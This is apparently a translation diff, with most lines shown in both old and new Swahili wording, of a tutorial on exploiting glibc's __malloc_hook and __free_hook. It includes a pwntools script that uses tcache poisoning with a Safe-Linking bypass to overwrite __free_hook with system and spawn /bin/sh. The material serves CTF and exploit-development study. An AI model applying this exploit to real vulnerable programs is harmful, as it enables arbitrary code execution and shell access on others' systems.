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Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__ma
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# WWW2Exec - \_\_malloc_hook & \_\_free_hook
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# WWW2Exec - __malloc_hook & __free_hook
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{{#include ../../banners/hacktricks-training.md}}
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## **Malloc Hook**
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Kama unavyojua [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), variable **`__malloc_hook`** ni pointer inayotaja **anwani ya kazi itakayoitwa** kila wakati `malloc()` inapoitwa **iliyohifadhiwa katika sehemu ya data ya maktaba ya libc**. Hivyo, ikiwa anwani hii itabadilishwa na **One Gadget** kwa mfano na `malloc` inaitwa, **One Gadget itaitwa**.
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Kama unavyoweza [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), variable **`__malloc_hook`** ni pointer inayorejelea **anwani ya kazi itakayoitwa** kila wakati `malloc()` inapoitwa **imehifadhiwa katika sehemu ya data ya maktaba ya libc**. Hivyo, ikiwa anwani hii itabadilishwa na **One Gadget** kwa mfano na `malloc` inaitwa, **One Gadget itaitwa**.
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Ili kuita malloc inawezekana kusubiri programu iite au kwa **kuita `printf("%10000$c")`** ambayo inapata bytes nyingi sana ikifanya `libc` kuita malloc ili kuzigawa kwenye heap.
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Ili kuita malloc inawezekana kusubiri programu iite au kwa **kuita `printf("%10000$c")`** ambayo inachukua bytes nyingi sana na kufanya `libc` kuita malloc ili kuzigawa kwenye heap.
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Maelezo zaidi kuhusu One Gadget katika:
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@ -15,7 +15,7 @@ Maelezo zaidi kuhusu One Gadget katika:
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{{#endref}}
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> [!WARNING]
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> Kumbuka kwamba hooks zime **zimemalizwa kwa GLIBC >= 2.34**. Kuna mbinu nyingine ambazo zinaweza kutumika kwenye toleo za kisasa za GLIBC. Tazama: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
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> Kumbuka kwamba hooks zime **zimemalizwa kwa GLIBC >= 2.34**. Kuna mbinu nyingine zinazoweza kutumika kwenye toleo za kisasa za GLIBC. Tazama: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
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## Free Hook
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@ -43,11 +43,11 @@ gef➤ p &__free_hook
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0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
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</code></pre>
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Katika kuvunjika kunakotajwa katika msimbo uliotangulia, katika `$eax` kutakuwa na anwani ya free hook.
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Katika kuvunja kunakotajwa katika msimbo uliotangulia, katika `$eax` kutakuwa na anwani ya free hook.
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Sasa shambulio la **fast bin** linafanywa:
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Sasa **shambulio la fast bin** linafanywa:
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- Kwanza kabisa inagundulika kwamba inawezekana kufanya kazi na **chunks za ukubwa 200** katika eneo la **`__free_hook`**:
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- Kwanza kabisa inagundulika kuwa inawezekana kufanya kazi na **chunks za ukubwa 200** katika eneo la **`__free_hook`**:
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- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
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$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
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gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
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@ -59,12 +59,77 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
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- Ikiwa tutafanikiwa kupata chunk ya haraka ya ukubwa 0x200 katika eneo hili, itakuwa inawezekana kubadilisha kiashiria cha kazi ambacho kitatekelezwa
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- Kwa hili, chunk mpya ya ukubwa `0xfc` inaundwa na kazi iliyounganishwa inaitwa kwa kiashiria hicho mara mbili, kwa njia hii tunapata kiashiria kwa chunk iliyofutwa ya ukubwa `0xfc*2 = 0x1f8` katika fast bin.
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- Kisha, kazi ya kuhariri inaitwa katika chunk hii kubadilisha anwani ya **`fd`** ya fast bin hii ili kuelekeza kwenye kazi ya awali ya **`__free_hook`**.
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- Kisha, chunk yenye ukubwa `0x1f8` inaundwa ili kupata kutoka kwa fast bin chunk isiyo na matumizi ya awali ili chunk nyingine ya ukubwa `0x1f8` iundwe ili kupata chunk ya fast bin katika **`__free_hook`** ambayo imeandikwa tena na anwani ya kazi ya **`system`**.
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- Kisha, chunk yenye ukubwa `0x1f8` inaundwa ili kupata kutoka kwa fast bin chunk isiyo na matumizi ya awali ili chunk nyingine ya ukubwa `0x1f8` iundwe kupata chunk ya fast bin katika **`__free_hook`** ambayo imeandikwa tena na anwani ya kazi ya **`system`**.
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- Na hatimaye, chunk inayoshikilia mfuatano wa `/bin/sh\x00` inafutwa kwa kuita kazi ya kufuta, ikichochea kazi ya **`__free_hook`** ambayo inaelekeza kwa system na `/bin/sh\x00` kama parameter.
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---
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## Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)
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glibc 2.32 ilianzisha **Safe-Linking** – ukaguzi wa uaminifu unaolinda orodha za *single*-linked zinazotumiwa na **tcache** na fast-bins. Badala ya kuhifadhi kiashiria cha mbele cha raw (`fd`), ptmalloc sasa inahifadhi *iliyofichwa* kwa kutumia macro ifuatayo:
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```c
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#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
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#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
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```
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Matokeo ya unyakuzi:
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1. **heap leak** ni lazima – mshambuliaji lazima ajue thamani ya wakati wa `chunk_addr >> 12` ili kuunda kiashiria kilichofichwa halali.
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2. Ni lazima tu kiashiria kamili cha byte 8 kiweze kufanywa; kuandika sehemu ya byte moja hakutapita ukaguzi.
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Primitive ndogo ya tcache-poisoning inayoweza kuandika `__free_hook` kwenye glibc 2.32/2.33 kwa hivyo inaonekana kama:
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```py
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from pwn import *
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libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
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p = process("./vuln")
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# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
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heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
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heap_base = heap_leak & ~0xfff
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fd_key = heap_base >> 12 # value used by PROTECT_PTR
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log.success(f"heap @ {hex(heap_base)}")
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# 2. Prepare two same-size chunks and double-free one of them
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a = malloc(0x48)
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b = malloc(0x48)
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free(a)
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free(b)
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free(a) # tcache double-free ⇒ poisoning primitive
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# 3. Forge obfuscated fd that points to __free_hook
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free_hook = libc.sym['__free_hook']
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poison = free_hook ^ fd_key
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edit(a, p64(poison)) # overwrite fd of tcache entry
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# 4. Two mallocs: the second one returns a pointer to __free_hook
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malloc(0x48) # returns chunk a
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c = malloc(0x48) # returns chunk @ __free_hook
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edit(c, p64(libc.sym['system']))
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# 5. Trigger
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bin_sh = malloc(0x48)
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edit(bin_sh, b"/bin/sh\x00")
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free(bin_sh)
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```
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The snippet above was adapted from recent CTF challenges such as *UIUCTF 2024 – «Rusty Pointers»* and *openECSC 2023 – «Babyheap G»*, both of which relied on Safe-Linking bypasses to overwrite `__free_hook`.
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---
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## Nini kilichobadilika katika glibc ≥ 2.34?
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Kuanza na **glibc 2.34 (Agosti 2021)**, nyongeza za allocation `__malloc_hook`, `__realloc_hook`, `__memalign_hook` na `__free_hook` ziliondolewa kutoka API ya umma na hazitumiwi tena na allocator. Alama za ulinganifu bado zinatolewa kwa binaries za urithi, lakini kuandika upya hazihusishi tena mtiririko wa udhibiti wa `malloc()` au `free()`.
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Mwanzo wa vitendo: katika usambazaji wa kisasa (Ubuntu 22.04+, Fedora 35+, Debian 12, nk.) lazima uhamie kwenye *mifumo mingine* ya hijack (IO-FILE, `__run_exit_handlers`, vtable spraying, nk.) kwa sababu kuandika upya hook kutashindwa kimya.
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Ikiwa bado unahitaji tabia ya zamani kwa ajili ya ufuatiliaji, glibc inatoa `libc_malloc_debug.so` ambayo inaweza kupakuliwa kabla ili kurejesha hooks za urithi – lakini maktaba hii **haiwezi kutumika kwa uzalishaji na inaweza kutoweka katika toleo zijazo**.
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---
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## Marejeleo
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- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
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- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
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- Safe-Linking – Kuondoa primitive ya exploit ya malloc() ya miaka 20 (Check Point Research, 2020)
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- glibc 2.34 notes za kutolewa – kuondolewa kwa malloc hooks
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{{#include ../../banners/hacktricks-training.md}}
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